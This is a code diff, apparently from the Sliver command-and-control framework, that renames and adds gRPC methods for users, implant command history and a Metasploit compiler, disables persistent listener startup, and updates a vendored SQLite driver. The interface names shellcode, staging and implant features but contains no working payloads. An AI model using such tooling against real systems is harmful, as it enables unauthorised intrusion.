stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], SliverRPC_TunnelData_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], SliverRPC_TunnelData_FullMethodName, opts...) if err != nil { return nil, err } @@ -2099,7 +2156,7 @@ func (x *sliverRPCTunnelDataClient) Recv() (*sliverpb.TunnelData, error) { } func (c *sliverRPCClient) Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (SliverRPC_EventsClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], SliverRPC_Events_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[6], SliverRPC_Events_FullMethodName, opts...) if err != nil { return nil, err } @@ -2134,16 +2191,17 @@ func (x *sliverRPCEventsClient) Recv() (*clientpb.Event, error) { // All implementations must embed UnimplementedSliverRPCServer // for forward compatibility type SliverRPCServer interface { - // *** Version *** + // *** Teamclient *** GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, error) + GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) // *** Client Logs *** ClientLog(SliverRPC_ClientLogServer) error - // *** Operator Commands *** - GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error) // *** Generic *** Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) + ImplantHistory(SliverRPC_ImplantHistoryServer) error + GetImplantHistory(context.Context, *clientpb.HistoryRequest) (*clientpb.History, error) // *** Sessions *** GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) // ***Threat monitoring *** @@ -2232,6 +2290,7 @@ type SliverRPCServer interface { MsfStage(context.Context, *clientpb.MsfStagerReq) (*clientpb.MsfStager, error) ShellcodeRDI(context.Context, *clientpb.ShellcodeRDIReq) (*clientpb.ShellcodeRDI, error) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) + GetMetasploitCompiler(context.Context, *commonpb.Empty) (*clientpb.MetasploitCompiler, error) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) ShellcodeEncoderMap(context.Context, *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) TrafficEncoderMap(context.Context, *commonpb.Empty) (*clientpb.TrafficEncoderMap, error) @@ -2348,12 +2407,12 @@ type UnimplementedSliverRPCServer struct { func (UnimplementedSliverRPCServer) GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, error) { return nil, status.Errorf(codes.Unimplemented, "method GetVersion not implemented") } +func (UnimplementedSliverRPCServer) GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetUsers not implemented") +} func (UnimplementedSliverRPCServer) ClientLog(SliverRPC_ClientLogServer) error { return status.Errorf(codes.Unimplemented, "method ClientLog not implemented") } -func (UnimplementedSliverRPCServer) GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error) { - return nil, status.Errorf(codes.Unimplemented, "method GetOperators not implemented") -} func (UnimplementedSliverRPCServer) Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Kill not implemented") } @@ -2363,6 +2422,12 @@ func (UnimplementedSliverRPCServer) Reconfigure(context.Context, *sliverpb.Recon func (UnimplementedSliverRPCServer) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Rename not implemented") } +func (UnimplementedSliverRPCServer) ImplantHistory(SliverRPC_ImplantHistoryServer) error { + return status.Errorf(codes.Unimplemented, "method ImplantHistory not implemented") +} +func (UnimplementedSliverRPCServer) GetImplantHistory(context.Context, *clientpb.HistoryRequest) (*clientpb.History, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetImplantHistory not implemented") +} func (UnimplementedSliverRPCServer) GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) { return nil, status.Errorf(codes.Unimplemented, "method GetSessions not implemented") } @@ -2585,6 +2650,9 @@ func (UnimplementedSliverRPCServer) ShellcodeRDI(context.Context, *clientpb.Shel func (UnimplementedSliverRPCServer) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) { return nil, status.Errorf(codes.Unimplemented, "method GetCompiler not implemented") } +func (UnimplementedSliverRPCServer) GetMetasploitCompiler(context.Context, *commonpb.Empty) (*clientpb.MetasploitCompiler, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetMetasploitCompiler not implemented") +} func (UnimplementedSliverRPCServer) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) { return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoder not implemented") } @@ -2901,6 +2969,24 @@ func _SliverRPC_GetVersion_Handler(srv interface{}, ctx context.Context, dec fun return interceptor(ctx, in, info, handler) } +func _SliverRPC_GetUsers_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(commonpb.Empty) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).GetUsers(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_GetUsers_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).GetUsers(ctx, req.(*commonpb.Empty)) + } + return interceptor(ctx, in, info, handler) +} + func _SliverRPC_ClientLog_Handler(srv interface{}, stream grpc.ServerStream) error { return srv.(SliverRPCServer).ClientLog(&sliverRPCClientLogServer{stream}) } @@ -2927,24 +3013,6 @@ func (x *sliverRPCClientLogServer) Recv() (*clientpb.ClientLogData, error) { return m, nil } -func _SliverRPC_GetOperators_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(commonpb.Empty) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(SliverRPCServer).GetOperators(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: SliverRPC_GetOperators_FullMethodName, - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(SliverRPCServer).GetOperators(ctx, req.(*commonpb.Empty)) - } - return interceptor(ctx, in, info, handler) -} - func _SliverRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(sliverpb.KillReq) if err := dec(in); err != nil { @@ -2999,6 +3067,50 @@ func _SliverRPC_Rename_Handler(srv interface{}, ctx context.Context, dec func(in return interceptor(ctx, in, info, handler) } +func _SliverRPC_ImplantHistory_Handler(srv interface{}, stream grpc.ServerStream) error { + return srv.(SliverRPCServer).ImplantHistory(&sliverRPCImplantHistoryServer{stream}) +} + +type SliverRPC_ImplantHistoryServer interface { + SendAndClose(*commonpb.Empty) error + Recv() (*clientpb.ImplantCommand, error) + grpc.ServerStream +} + +type sliverRPCImplantHistoryServer struct { + grpc.ServerStream +} + +func (x *sliverRPCImplantHistoryServer) SendAndClose(m *commonpb.Empty) error { + return x.ServerStream.SendMsg(m) +} + +func (x *sliverRPCImplantHistoryServer) Recv() (*clientpb.ImplantCommand, error) { + m := new(clientpb.ImplantCommand) + if err := x.ServerStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} + +func _SliverRPC_GetImplantHistory_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(clientpb.HistoryRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).GetImplantHistory(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_GetImplantHistory_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).GetImplantHistory(ctx, req.(*clientpb.HistoryRequest)) + } + return interceptor(ctx, in, info, handler) +} + func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(commonpb.Empty) if err := dec(in); err != nil { @@ -4337,6 +4449,24 @@ func _SliverRPC_GetCompiler_Handler(srv interface{}, ctx context.Context, dec fu return interceptor(ctx, in, info, handler) } +func _SliverRPC_GetMetasploitCompiler_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(commonpb.Empty) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).GetMetasploitCompiler(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_GetMetasploitCompiler_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).GetMetasploitCompiler(ctx, req.(*commonpb.Empty)) + } + return interceptor(ctx, in, info, handler) +} + func _SliverRPC_ShellcodeEncoder_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(clientpb.ShellcodeEncodeReq) if err := dec(in); err != nil { @@ -6078,8 +6208,8 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ Handler: _SliverRPC_GetVersion_Handler, }, { - MethodName: "GetOperators", - Handler: _SliverRPC_GetOperators_Handler, + MethodName: "GetUsers", + Handler: _SliverRPC_GetUsers_Handler, }, { MethodName: "Kill", @@ -6093,6 +6223,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ MethodName: "Rename", Handler: _SliverRPC_Rename_Handler, }, + { + MethodName: "GetImplantHistory", + Handler: _SliverRPC_GetImplantHistory_Handler, + }, { MethodName: "GetSessions", Handler: _SliverRPC_GetSessions_Handler, @@ -6381,6 +6515,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ MethodName: "GetCompiler", Handler: _SliverRPC_GetCompiler_Handler, }, + { + MethodName: "GetMetasploitCompiler", + Handler: _SliverRPC_GetMetasploitCompiler_Handler, + }, { MethodName: "ShellcodeEncoder", Handler: _SliverRPC_ShellcodeEncoder_Handler, @@ -6756,6 +6894,11 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ Handler: _SliverRPC_ClientLog_Handler, ClientStreams: true, }, + { + StreamName: "ImplantHistory", + Handler: _SliverRPC_ImplantHistory_Handler, + ClientStreams: true, + }, { StreamName: "BuilderRegister", Handler: _SliverRPC_BuilderRegister_Handler, diff --git a/protobuf/sliverpb/sliver.pb.go b/protobuf/sliverpb/sliver.pb.go index e9c661b612..f459ef12a2 100644 --- a/protobuf/sliverpb/sliver.pb.go +++ b/protobuf/sliverpb/sliver.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 -// protoc v4.25.0 +// protoc-gen-go v1.31.0-devel +// protoc v3.15.8 // source: sliverpb/sliver.proto package sliverpb diff --git a/server/cli/cli.go b/server/cli/cli.go index 578b361bfc..041021c721 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -32,9 +32,7 @@ import ( clientCommand "github.com/bishopfox/sliver/client/command" consoleCmd "github.com/bishopfox/sliver/client/command/console" client "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/server/c2" "github.com/bishopfox/sliver/server/command" - "github.com/bishopfox/sliver/server/configs" "github.com/bishopfox/sliver/server/encoders" "github.com/bishopfox/sliver/server/transport" @@ -138,16 +136,16 @@ func preRunServerS(teamserver *server.Server, con *client.SliverClient) clientCo // But we don't start Sliver-specific C2 listeners unless // we are being ran in daemon mode, or in the console. // We don't always have access to a command, such when - if cmd != nil { - if (cmd.Name() == "daemon" && cmd.Parent().Name() == "teamserver") || - cmd.Name() == "console" { - serverConfig := configs.GetServerConfig() - err := c2.StartPersistentJobs(serverConfig) - if err != nil { - con.PrintWarnf("Persistent jobs restart error: %s", err) - } - } - } + // if cmd != nil { + // if (cmd.Name() == "daemon" && cmd.Parent().Name() == "teamserver") || + // cmd.Name() == "console" { + // serverConfig := configs.GetServerConfig() + // err := c2.StartPersistentJobs(serverConfig) + // if err != nil { + // con.PrintWarnf("Persistent jobs restart error: %s", err) + // } + // } + // } // Let our in-memory teamclient be served. return teamserver.Serve(con.Teamclient) } diff --git a/server/cli/daemon.go b/server/cli/daemon.go deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/server/cli/operator.go b/server/cli/operator.go deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/server/rpc/rpc-beacons.go b/server/rpc/rpc-beacons.go index f6289763d0..2f8cfd89f3 100644 --- a/server/rpc/rpc-beacons.go +++ b/server/rpc/rpc-beacons.go @@ -129,12 +129,12 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas // Some client might be currently blocking for the canceled // task result, so tell them about it so they can exit. - beacon, err := db.BeaconByID(task.BeaconID.String()) + beacon, err := db.BeaconByID(task.BeaconID) if err != nil { - return task.ToProtobuf(false), ErrInvalidBeaconID + return task, ErrInvalidBeaconID } - eventData, _ := proto.Marshal(task.ToProtobuf(false)) + eventData, _ := proto.Marshal(task) core.EventBroker.Publish(core.Event{ EventType: consts.BeaconTaskCanceledEvent, @@ -142,6 +142,5 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas Beacon: beacon, }) - return task.ToProtobuf(false), nil + return task, nil } - diff --git a/server/transport/local.go b/server/transport/local.go deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/server/transport/mtls.go b/server/transport/mtls.go index cac6c2fd68..83a4d9352f 100644 --- a/server/transport/mtls.go +++ b/server/transport/mtls.go @@ -120,3 +120,4 @@ func (h *teamserver) Listen(addr string) (ln net.Listener, err error) { // our core teamserver driver. func (h *teamserver) Close() error { return nil +} diff --git a/vendor/github.com/ncruces/go-sqlite3/README.md b/vendor/github.com/ncruces/go-sqlite3/README.md index 8a06a28516..838679176b 100644 --- a/vendor/github.com/ncruces/go-sqlite3/README.md +++ b/vendor/github.com/ncruces/go-sqlite3/README.md @@ -31,16 +31,11 @@ This has benefits, but also comes with some drawbacks. Because WASM does not support shared memory, [WAL](https://www.sqlite.org/wal.html) support is [limited](https://www.sqlite.org/wal.html#noshm). -To work around this limitation, SQLite is compiled with -[`SQLITE_DEFAULT_LOCKING_MODE=1`](https://www.sqlite.org/compile.html#default_locking_mode), -making `EXCLUSIVE` the default locking mode. -For non-WAL databases, `NORMAL` locking mode can be activated with -[`PRAGMA locking_mode=NORMAL`](https://www.sqlite.org/pragma.html#pragma_locking_mode). +To work around this limitation, SQLite is [patched](sqlite3/locking_mode.patch) +to always use `EXCLUSIVE` locking mode for WAL databases. Because connection pooling is incompatible with `EXCLUSIVE` locking mode, -the `database/sql` driver defaults to `NORMAL` locking mode. -To open WAL databases, or use `EXCLUSIVE` locking mode, -disable connection pooling by calling +to open WAL databases you should disable connection pooling by calling [`db.SetMaxOpenConns(1)`](https://pkg.go.dev/database/sql#DB.SetMaxOpenConns). #### POSIX Advisory Locks @@ -55,19 +50,22 @@ OFD locks are fully compatible with process-associated POSIX advisory locks. On BSD Unixes, this module uses [BSD locks](https://man.freebsd.org/cgi/man.cgi?query=flock&sektion=2). -BSD locks may _not_ be compatible with process-associated POSIX advisory locks. +BSD locks may _not_ be compatible with process-associated POSIX advisory locks +(they are on FreeBSD). #### Testing -The pure Go VFS is tested by running an unmodified build of SQLite's +The pure Go VFS is tested by running SQLite's [mptest](https://github.com/sqlite/sqlite/blob/master/mptest/mptest.c) -on Linux, macOS and Windows. +on Linux, macOS and Windows; +BSD code paths are tested on macOS using the `sqlite3_bsd` build tag. Performance is tested by running [speedtest1](https://github.com/sqlite/sqlite/blob/master/test/speedtest1.c). ### Roadmap - [ ] advanced SQLite features + - [x] custom functions - [x] nested transactions - [x] incremental BLOB I/O - [x] online backup @@ -77,7 +75,7 @@ Performance is tested by running - [x] in-memory VFS - [x] read-only VFS, wrapping an [`io.ReaderAt`](https://pkg.go.dev/io#ReaderAt) - [ ] cloud-based VFS, based on [Cloud Backed SQLite](https://sqlite.org/cloudsqlite/doc/trunk/www/index.wiki) -- [ ] custom SQL functions + - [ ] [MVCC](https://en.wikipedia.org/wiki/Multiversion_concurrency_control) VFS, using [BadgerDB](https://github.com/dgraph-io/badger) ### Alternatives diff --git a/vendor/github.com/ncruces/go-sqlite3/backup.go b/vendor/github.com/ncruces/go-sqlite3/backup.go index 27a71a9707..17efa03ed0 100644 --- a/vendor/github.com/ncruces/go-sqlite3/backup.go +++ b/vendor/github.com/ncruces/go-sqlite3/backup.go @@ -77,7 +77,7 @@ func (c *Conn) backupInit(dst uint32, dstName string, src uint32, srcName string if r == 0 { defer c.closeDB(other) r = c.call(c.api.errcode, uint64(dst)) - return nil, c.module.error(r, dst) + return nil, c.sqlite.error(r, dst) } return &Backup{ diff --git a/vendor/github.com/ncruces/go-sqlite3/conn.go b/vendor/github.com/ncruces/go-sqlite3/conn.go index be10c719fa..9c15a85f0e 100644 --- a/vendor/github.com/ncruces/go-sqlite3/conn.go +++ b/vendor/github.com/ncruces/go-sqlite3/conn.go @@ -19,7 +19,7 @@ import ( // // https://www.sqlite.org/c3ref/sqlite3.html type Conn struct { - *module + *sqlite interrupt context.Context waiter chan struct{} @@ -39,7 +39,7 @@ func Open(filename string) (*Conn, error) { // If none of the required flags is used, a combination of [OPEN_READWRITE] and [OPEN_CREATE] is used. // If a URI filename is used, PRAGMA statements to execute can be specified using "_pragma": // -// sqlite3.Open("file:demo.db?_pragma=busy_timeout(10000)&_pragma=locking_mode(normal)") +// sqlite3.Open("file:demo.db?_pragma=busy_timeout(10000)") // // https://www.sqlite.org/c3ref/open.html func OpenFlags(filename string, flags OpenFlag) (*Conn, error) { @@ -50,19 +50,19 @@ func OpenFlags(filename string, flags OpenFlag) (*Conn, error) { } func newConn(filename string, flags OpenFlag) (conn *Conn, err error) { - mod, err := instantiateModule() + sqlite, err := instantiateSQLite() if err != nil { return nil, err } defer func() { if conn == nil { - mod.close() + sqlite.close() } else { runtime.SetFinalizer(conn, util.Finalizer[Conn](3)) } }() - c := &Conn{module: mod} + c := &Conn{sqlite: sqlite} c.arena = c.newArena(1024) c.handle, err = c.openDB(filename, flags) if err != nil { @@ -80,7 +80,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) { r := c.call(c.api.open, uint64(namePtr), uint64(connPtr), uint64(flags), 0) handle := util.ReadUint32(c.mod, connPtr) - if err := c.module.error(r, handle); err != nil { + if err := c.sqlite.error(r, handle); err != nil { c.closeDB(handle) return 0, err } @@ -99,7 +99,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) { c.arena.reset() pragmaPtr := c.arena.string(pragmas.String()) r := c.call(c.api.exec, uint64(handle), uint64(pragmaPtr), 0, 0, 0) - if err := c.module.error(r, handle, pragmas.String()); err != nil { + if err := c.sqlite.error(r, handle, pragmas.String()); err != nil { if errors.Is(err, ERROR) { err = fmt.Errorf("sqlite3: invalid _pragma: %w", err) } @@ -113,7 +113,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) { func (c *Conn) closeDB(handle uint32) { r := c.call(c.api.closeZombie, uint64(handle)) - if err := c.module.error(r, handle); err != nil { + if err := c.sqlite.error(r, handle); err != nil { panic(err) } } @@ -143,7 +143,7 @@ func (c *Conn) Close() error { c.handle = 0 runtime.SetFinalizer(c, nil) - return c.module.close() + return c.close() } // Exec is a convenience function that allows an application to run @@ -278,7 +278,7 @@ func (c *Conn) SetInterrupt(ctx context.Context) (old context.Context) { break case <-ctx.Done(): // Done was closed. - const isInterruptedOffset = 280 + const isInterruptedOffset = 288 buf := util.View(c.mod, c.handle+isInterruptedOffset, 4) (*atomic.Uint32)(unsafe.Pointer(&buf[0])).Store(1) // Wait for the next call to SetInterrupt. @@ -295,7 +295,7 @@ func (c *Conn) checkInterrupt() bool { if c.interrupt == nil || c.interrupt.Err() == nil { return false } - const isInterruptedOffset = 280 + const isInterruptedOffset = 288 buf := util.View(c.mod, c.handle+isInterruptedOffset, 4) (*atomic.Uint32)(unsafe.Pointer(&buf[0])).Store(1) return true @@ -319,7 +319,7 @@ func (c *Conn) Pragma(str string) ([]string, error) { } func (c *Conn) error(rc uint64, sql ...string) error { - return c.module.error(rc, c.handle, sql...) + return c.sqlite.error(rc, c.handle, sql...) } // DriverConn is implemented by the SQLite [database/sql] driver connection. diff --git a/vendor/github.com/ncruces/go-sqlite3/const.go b/vendor/github.com/ncruces/go-sqlite3/const.go index a1d6145c3e..9d0cd3008f 100644 --- a/vendor/github.com/ncruces/go-sqlite3/const.go +++ b/vendor/github.com/ncruces/go-sqlite3/const.go @@ -167,6 +167,18 @@ const ( PREPARE_NO_VTAB PrepareFlag = 0x04 ) +// FunctionFlag is a flag that can be passed to [Conn.PrepareFlags]. +// +// https://www.sqlite.org/c3ref/c_deterministic.html +type FunctionFlag uint32 + +const ( + DETERMINISTIC FunctionFlag = 0x000000800 + DIRECTONLY FunctionFlag = 0x000080000 + SUBTYPE FunctionFlag = 0x000100000 + INNOCUOUS FunctionFlag = 0x000200000 +) + // Datatype is a fundamental datatype of SQLite. // // https://www.sqlite.org/c3ref/c_blob.html @@ -182,18 +194,18 @@ const ( // String implements the [fmt.Stringer] interface. func (t Datatype) String() string { - const name = "INTEGERFLOATTEXTBLOBNULL" + const name = "INTEGERFLOATEXTBLOBNULL" switch t { case INTEGER: return name[0:7] case FLOAT: return name[7:12] case TEXT: - return name[12:16] + return name[11:15] case BLOB: - return name[16:20] + return name[15:19] case NULL: - return name[20:24] + return name[19:23] } return strconv.FormatUint(uint64(t), 10) } diff --git a/vendor/github.com/ncruces/go-sqlite3/driver/driver.go b/vendor/github.com/ncruces/go-sqlite3/driver/driver.go index f027c4ee9c..4dc8182e05 100644 --- a/vendor/github.com/ncruces/go-sqlite3/driver/driver.go +++ b/vendor/github.com/ncruces/go-sqlite3/driver/driver.go @@ -14,10 +14,9 @@ // // [PRAGMA] statements can be specified using "_pragma": // -// sql.Open("sqlite3", "file:demo.db?_pragma=busy_timeout(10000)&_pragma=locking_mode(normal)") +// sql.Open("sqlite3", "file:demo.db?_pragma=busy_timeout(10000)") // -// If no PRAGMAs are specified, a busy timeout of 1 minute -// and normal locking mode are used. +// If no PRAGMAs are specified, a busy timeout of 1 minute is set. // // Order matters: // busy timeout and locking mode should be the first PRAGMAs set, in that order. @@ -53,9 +52,14 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { if err != nil { return nil, err } + defer func() { + if err != nil { + c.Close() + } + }() + var pragmas bool c.txBegin = "BEGIN" - var pragmas []string if strings.HasPrefix(name, "file:") { if _, after, ok := strings.Cut(name, "?"); ok { query, _ := url.ParseQuery(after) @@ -66,20 +70,15 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { case "deferred", "immediate", "exclusive": c.txBegin = "BEGIN " + s default: - c.Close() return nil, fmt.Errorf("sqlite3: invalid _txlock: %s", s) } - pragmas = query["_pragma"] + pragmas = len(query["_pragma"]) > 0 } } - if len(pragmas) == 0 { - err := c.Conn.Exec(` - PRAGMA busy_timeout=60000; - PRAGMA locking_mode=normal; - `) + if !pragmas { + err = c.Conn.Exec(`PRAGMA busy_timeout=60000`) if err != nil { - c.Close() return nil, err } c.reusable = true @@ -90,7 +89,6 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { PRAGMA_query_only; `) if err != nil { - c.Close() return nil, err } if s.Step() { @@ -99,7 +97,6 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { } err = s.Close() if err != nil { - c.Close() return nil, err } } @@ -259,9 +256,7 @@ func (s *stmt) Query(args []driver.Value) (driver.Rows, error) { } func (s *stmt) ExecContext(ctx context.Context, args []driver.NamedValue) (driver.Result, error) { - // Use QueryContext to setup bindings. - // No need to close rows: that simply resets the statement, exec does the same. - _, err := s.QueryContext(ctx, args) + err := s.setupBindings(ctx, args) if err != nil { return nil, err } @@ -275,11 +270,20 @@ func (s *stmt) ExecContext(ctx context.Context, args []driver.NamedValue) (drive } func (s *stmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driver.Rows, error) { - err := s.Stmt.ClearBindings() + err := s.setupBindings(ctx, args) if err != nil { return nil, err } + return &rows{ctx, s.Stmt, s.Conn}, nil +} + +func (s *stmt) setupBindings(ctx context.Context, args []driver.NamedValue) error { + err := s.Stmt.ClearBindings() + if err != nil { + return err + } + var ids [3]int for _, arg := range args { ids := ids[:0] @@ -318,11 +322,10 @@ func (s *stmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driv } } if err != nil { - return nil, err + return err } } - - return &rows{ctx, s.Stmt, s.Conn}, nil + return nil } func (s *stmt) CheckNamedValue(arg *driver.NamedValue) error { diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/README.md b/vendor/github.com/ncruces/go-sqlite3/embed/README.md index 06c488696b..a40f65e88e 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/README.md +++ b/vendor/github.com/ncruces/go-sqlite3/embed/README.md @@ -9,6 +9,7 @@ The following optional features are compiled in: - [JSON](https://www.sqlite.org/json1.html) - [R*Tree](https://www.sqlite.org/rtree.html) - [GeoPoly](https://www.sqlite.org/geopoly.html) +- [soundex](https://www.sqlite.org/lang_corefunc.html#soundex) - [base64](https://github.com/sqlite/sqlite/blob/master/ext/misc/base64.c) - [decimal](https://github.com/sqlite/sqlite/blob/master/ext/misc/decimal.c) - [regexp](https://github.com/sqlite/sqlite/blob/master/ext/misc/regexp.c) diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/build.sh b/vendor/github.com/ncruces/go-sqlite3/embed/build.sh index f461b2664f..a80a94a962 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/build.sh +++ b/vendor/github.com/ncruces/go-sqlite3/embed/build.sh @@ -4,24 +4,27 @@ set -euo pipefail cd -P -- "$(dirname -- "$0")" ROOT=../ -BINARYEN="$ROOT/tools/binaryen-version_113/bin" +BINARYEN="$ROOT/tools/binaryen-version_114/bin" WASI_SDK="$ROOT/tools/wasi-sdk-20.0/bin" "$WASI_SDK/clang" --target=wasm32-wasi -flto -g0 -O2 \ -o sqlite3.wasm "$ROOT/sqlite3/main.c" \ -I"$ROOT/sqlite3" \ -mexec-model=reactor \ - -mmutable-globals \ + -msimd128 -mmutable-globals \ -mbulk-memory -mreference-types \ -mnontrapping-fptoint -msign-ext \ + -fno-stack-protector -fno-stack-clash-protection \ -Wl,--initial-memory=327680 \ -Wl,--stack-first \ -Wl,--import-undefined \ + -D_HAVE_SQLITE_CONFIG_H \ $(awk '{print "-Wl,--export="$0}' exports.txt) trap 'rm -f sqlite3.tmp' EXIT "$BINARYEN/wasm-ctor-eval" -g -c _initialize sqlite3.wasm -o sqlite3.tmp -"$BINARYEN/wasm-opt" -g -O2 sqlite3.tmp -o sqlite3.wasm \ - --enable-multivalue --enable-mutable-globals \ +"$BINARYEN/wasm-opt" -g --strip -c -O3 \ + sqlite3.tmp -o sqlite3.wasm \ + --enable-simd --enable-mutable-globals --enable-multivalue \ --enable-bulk-memory --enable-reference-types \ --enable-nontrapping-float-to-int --enable-sign-ext \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt b/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt index 2a07fc0c14..94bfa66c19 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt +++ b/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt @@ -33,10 +33,10 @@ sqlite3_column_blob sqlite3_column_bytes sqlite3_blob_open sqlite3_blob_close +sqlite3_blob_reopen sqlite3_blob_bytes sqlite3_blob_read sqlite3_blob_write -sqlite3_blob_reopen sqlite3_backup_init sqlite3_backup_step sqlite3_backup_finish @@ -46,4 +46,29 @@ sqlite3_uri_parameter sqlite3_uri_key sqlite3_changes64 sqlite3_last_insert_rowid -sqlite3_get_autocommit \ No newline at end of file +sqlite3_get_autocommit +sqlite3_anycollseq_init +sqlite3_create_collation_go +sqlite3_create_function_go +sqlite3_create_aggregate_function_go +sqlite3_create_window_function_go +sqlite3_aggregate_context +sqlite3_user_data +sqlite3_set_auxdata_go +sqlite3_get_auxdata +sqlite3_value_type +sqlite3_value_int64 +sqlite3_value_double +sqlite3_value_text +sqlite3_value_blob +sqlite3_value_bytes +sqlite3_result_null +sqlite3_result_int64 +sqlite3_result_double +sqlite3_result_text64 +sqlite3_result_blob64 +sqlite3_result_zeroblob64 +sqlite3_result_error +sqlite3_result_error_code +sqlite3_result_error_nomem +sqlite3_result_error_toobig \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm b/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm index be6574a138252050b4ef34ee58179f1cc05b1e20..020d130a933186c276713930d401b6caf86dddfd 100644 GIT binary patch literal 1432950 zcmd443xHi!dH22VXP>jr%$!_+kOAH27%fy$yc7||%uWM{Xhlo0_Ig)Tp z6F6t@wby#qv!45U*4pcM%hsLed!FZC8!b80-|TPZ!#gwBtgCSIX09VXt2+vLLoOXBK55=@65C+SGQ^nCJvgR1ON?gli_L5HtTc4hRt+Azncus25?Ysf}sal z1(a{EuWO!n`*T#O5C@(RuRb@N834_FZk`6tVdyB(=ygMJ1T3{5=#^Ucsj$?a>S%CA 